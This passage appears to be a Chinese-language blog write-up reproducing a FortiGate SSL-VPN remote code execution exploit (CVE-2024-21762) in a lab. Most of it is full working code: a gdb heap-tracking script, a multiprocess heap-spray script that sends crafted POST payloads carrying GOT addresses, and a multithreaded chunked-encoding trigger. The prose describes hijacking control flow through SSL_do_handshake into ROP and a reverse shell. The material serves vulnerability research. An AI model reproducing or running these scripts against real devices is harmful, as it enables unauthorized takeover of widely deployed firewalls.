之后通过创建好的一堆连接发送数据包,这时会创建一堆 chunk,有几率申请到我们需要的地方。
看网上的文章的 payload 和 github 上的 poc 发现都是发了一个包再直接发一个触发崩溃的 poc 就感觉是进行了单线程堆喷。(或许也可能是版本的问题?当然也有可能某些版本比较幸运在 tcache 的开头就是目标地址的 chunk?)
这里对网上的 gdb 脚本做了修改,方便自己寻找合适的堆喷:
由于地址随机化的存在,某些时间段内这些参数能稳定堆喷成功但是过一段时间就会失败。所以这东西还是很玄学的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 import gdbimport socketimport datetime UDP_IP = "127.0.0.1" UDP_PORT = 5005 LOG_FILE = "heap_match_log.txt" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind((UDP_IP, UDP_PORT)) sock.setblocking(False ) context = { "target_size" : 0 , "malloc_size" : 0 , "calloc_size" : 0 , "dynamic_high_bits" : 0 } def log_to_file (content ): """将匹配到的关键信息写入文件""" with open (LOG_FILE, "a" ) as f: timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S" ) f.write(f"[{timestamp} ] {content} \n" ) def update_target_size (): try : data, _ = sock.recvfrom(1024 ) context["target_size" ] = int (data.decode()) except : pass class MallocEntry (gdb.Breakpoint): def stop (self ): update_target_size() size = int (gdb.parse_and_eval("$rdi" )) if size//8 == context["target_size" ]//8 and size != 0 : context["malloc_size" ] = size return False class MallocExit (gdb.Breakpoint): def stop (self ): size = context["malloc_size" ] if size > 0 : addr = int (gdb.parse_and_eval("$rax" )) is_match = (addr <= context["dynamic_high_bits" ] and (addr+size) >= (context["dynamic_high_bits" ])) if is_match: tag = '' info = f"MATCH FOUND! malloc: {hex (addr)} -{hex (addr + size)} | Overlaps with calloc base: {hex (context['dynamic_high_bits' ])} " print (f"{tag} \n{info} \n{tag} " ) else : if (addr//0x10000 )*0x10000 ==addr: print (f"je_malloc: {hex (addr)} : {hex (addr + size)} | {hex (size)} | Cmp {hex (context["dynamic_high_bits" ])} " ) context["malloc_size" ] = 0 return False class CallocEntry (gdb.Breakpoint): def stop (self ): size = int (gdb.parse_and_eval("$rsi" )) context["calloc_size" ] = size return False class CallocExit (gdb.Breakpoint): def stop (self ): size = context["calloc_size" ] if size > 0 : addr = int (gdb.parse_and_eval("$rax" )) if size == 0x730 : context["dynamic_high_bits" ] = (((addr>>16 )<<16 ) + 0xa0d ) print (f"dynamic_high_bits Updated : {hex (context["dynamic_high_bits" ])} " ) msg = f"je_calloc [TARGET SET]: {hex (addr)} : {hex (addr + size)} | {hex (size)} | {hex (context["dynamic_high_bits" ])} " print (msg) context["calloc_size" ] = 0 return False MallocEntry("je_malloc" , internal=True ) MallocExit("*(je_malloc+205)" , internal=True ) CallocEntry("je_calloc" , internal=True ) CallocExit("*(je_calloc+340)" , internal=True ) print (f"追踪脚本已加载:匹配结果将实时保存至 {LOG_FILE} " )
同时使用下面的脚本进行堆喷(需调整里面的参数):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 import socketimport sslimport timeimport multiprocessing as mpfrom functools import partialUDP_IP = "127.0.0.1" UDP_PORT = 5005 TIMEOUT = 500 TARGET_ADDR = "192.168.66.2" TARGET_PORT = 10443 START_LEN_A = 0x1000 -0x20 -0x10 -0x80 STEP = 0 REPEAT_COUNT = 50 def create_ssl_context (): context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE return context def notify_gdb (size ): """通知 GDB 脚本当前关注的 size""" try : udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_sock.sendto(str (size + 0x20 ).encode(), (UDP_IP, UDP_PORT)) udp_sock.close() except Exception as e: print (f"[PID {mp.current_process().pid} ] UDP Error: {e} " ) import structdef serialize_to_percent_hex (value: int ) -> bytes : """ 将一个整数序列化为 8 字节的 '%XX' 格式的字节串。 例如:0x4837430000000000 -> b"%48%37%43%00%00%00%00%00" 参数: value (int): 需要序列化的整数 (必须在 0 到 2^64-1 之间) 返回: bytes: 格式化后的字节串 """ if not (0 <= value <= 0xFFFFFFFFFFFFFFFF ): raise ValueError("Value must be between 0 and 2^64 - 1" ) packed_data = struct.pack('<Q' , value) result_str = "" .join(f"%{byte:02X} " for byte in packed_data) return result_str.encode('ascii' ) target_GOT=0x43D8490 rdx=target_GOT-0x40 rsi=undef_rdx_sub_0x70=0x42E260 -0x70 getcwd_got=0x043DB498 pp=b'' pp+=b'B' *8 +serialize_to_percent_hex(getcwd_got-0x60 )+b'B' *0x20 +serialize_to_percent_hex(0xdeadbeef ) pp=pp.ljust(0x298 +0x10 +0x10 ,b'B' ) payloadA=b'B' *(0 +0xa0d -0x800 +0x18 -0x32 +0x800 )+pp+serialize_to_percent_hex(rsi) payloadA=payloadA.ljust(START_LEN_A,b'B' ) payloadB=payloadA def send_payload_worker (len_a ): """工作函数:在每个子进程中运行""" pid = mp.current_process().pid notify_gdb(len_a) print (f"[PID {pid} ] [+] Testing -> Len_A: {hex (len_a)} " ) unit = ( b"=" +payloadB + b"&" ) body = unit * REPEAT_COUNT data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n" data += b"Host: 10.0.0.3:10443\r\n" data += f"Content-Length: {len (body)} \r\n" .encode("utf-8" ) data += b"\r\n" data += body try : s = socket.create_connection((TARGET_ADDR, TARGET_PORT), timeout=TIMEOUT) context = create_ssl_context() ss = context.wrap_socket(s) ss.sendall(data) time.sleep(0.1 ) print (f"[PID {pid} ] [OK] Sent successfully." ) except Exception as e: print (f"[PID {pid} ] [x] Connection Error: {e} " ) def main (): NUM_CLIENTS = 100 TOTAL_REQUESTS = 2 print (f"[*] Starting Fuzzing with {NUM_CLIENTS} concurrent clients..." ) current_len = START_LEN_A tasks = [current_len + (i * STEP) for i in range (TOTAL_REQUESTS)] with mp.Pool(processes=NUM_CLIENTS) as pool: for _ in pool.imap_unordered(send_payload_worker, tasks): pass print ("[*] All tasks finished." ) if __name__ == "__main__" : mp.set_start_method('spawn' , force=True ) main()
多线程触发漏洞脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 import socketimport sslimport threadingimport timefrom pwn import log TIMEOUT = 5 TARGET_ADDR = "192.168.66.2" TARGET_PORT = 10443 context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE def send_request_thread (thread_id, host, port, data ): """ 每个线程执行一次的函数 thread_id: 用于区分不同线程的输出 """ address = (host, port) thread_name = f"Thread-{thread_id} " try : s = socket.create_connection(address, timeout=TIMEOUT) ss = context.wrap_socket(s) log.info(f"[{thread_name} ] Connected to {host} :{port} , sending payload..." ) ss.sendall(data) response = b"" ss.settimeout(TIMEOUT) while True : try : chunk = ss.recv(4096 ) if not chunk: break response += chunk except socket.timeout: break except Exception as e: log.warning(f"[{thread_name} ] Recv error: {e} " ) break if response: log.success(f"[{thread_name} ] Received {len (response)} bytes." ) """ print(f"--- Response from {thread_name} ---") try: print(response.decode('utf-8', errors='replace')) except: print(response.hex()) print("-" * 30) """ else : log.warning(f"[{thread_name} ] No response received (Connection closed by peer?)." ) ss.close() s.close() except Exception as e: log.error(f"[{thread_name} ] Connection Error: {e} " ) def main (): data = b"POST / HTTP/1.1\r\n" data += b"Host: 10.0.0.3:10443\r\n" data += b"Transfer-Encoding: chunked\r\n" data += b"Connection: close\r\n" data += b"\r\n" data += b"0" *18 + b'\r\n' data += b"0\r\n" *100 data += b"0" *254 + b'\r\n' NUM_THREADS = 20 TOTAL_REQUESTS = 50 log.info(f"Starting stress test with {NUM_THREADS} concurrent threads..." ) log.info(f"Target: {TARGET_ADDR} :{TARGET_PORT} " ) threads = [] for i in range (TOTAL_REQUESTS): t = threading.Thread(target=send_request_thread, args=(i, TARGET_ADDR, TARGET_PORT, data)) threads.append(t) t.start() for t in threads: t.join() log.info("All threads finished." ) if __name__ == "__main__" : main()
同时按照网上的思路进行劫持执行流,可以看到已经可以控制劫持的 system 函数了:
之后就是使用 SSL_do_handshake 替换掉 system 函数执行任意地址的 gadget 了,之后拿到 ROP 就可以干自己想干的事情了。比如反弹 node 的 shell。后续利用也就没有难度了。
# 总结一个困扰了很久的漏洞复现。 由于是第一次接触这种设备类型的漏洞,前前后后踩了许多坑: 首先就是卡在打包的 rootfs.gz 过不了内核的 gz 解压缩(不是校验哈希的那一步),以及复制 rootfs 进去显示空间不足。当然这些小问题相对与下面的坑点还是微不足道的。(如果 patch 一下 elf 能再打包回 bzImage 将会简单很多,包括后续每次还需要调试在校验函数之后设置 RAX=0,如果直接 patch 之后将没有这么繁琐的步骤) 之后就是卡的最久的问题:堆喷。刚开始被网上的 POC 误导以为堆喷只需要进行单线程的堆喷就可以稳定堆喷到目标地址,然而当我写了个脚本进行 size 从 0x400 一直爆到 0x1000 多都没有喷出来的时候直接绷不住了。之后才开始想到堆喷如果进行多线程的堆喷应该成功率会增大不少。但是多线程的堆喷就很难控制了,经过研究也没有发现任何有用的规律(当然也不是什么都没有发现,比如每次申请的堆块被释放后都放到了类似 tcache 的地方。这也很明显,每次申请的堆块的顺序大致上都是跟上一次相反的顺序。虽然也会有一些小的细节不同)经过多线程的尝试,发现堆喷的成功率已经大大增加了(感觉能有 20% 的几率能找到合适的参数稳定在一定时间内成功堆喷) 但是不得不说这个漏洞的利用思路还是比较巧妙的: 首先就是从只可控地址的 2 字节 0x0a0d 的栈上任意地址写到可控的任意 call 函数的过程:劫持栈上的堆块指针,利用堆喷伪造结构体,伪造后面 call 的函数指针实现任意函数的 call。 之后就是从只能 call 动态链接的函数到任意地址的 gadget 的执行:利用 SSL_do_handshake 以及残留 RDI 堆块指针的特性伪造 SSL 结构体,调整结构体内容劫持 handshake_func。 可能是版本的问题?也可能是我的 qemu 的问题,导致网上堆喷的 poc 没有能成功的,自己的堆喷的 POC 也是成功率很低。(因为堆喷实在太看脸了)不过成功率也是可以接受的,毕竟我们打远程只需要成功一次就可以成功拿到权限。
# Referencehttps://www.assetnote.io/resources/research/two-bytes-is-plenty-fortigate-rce-with-cve-2024-21762 https://github.com/h4x0r-dz/CVE-2024-21762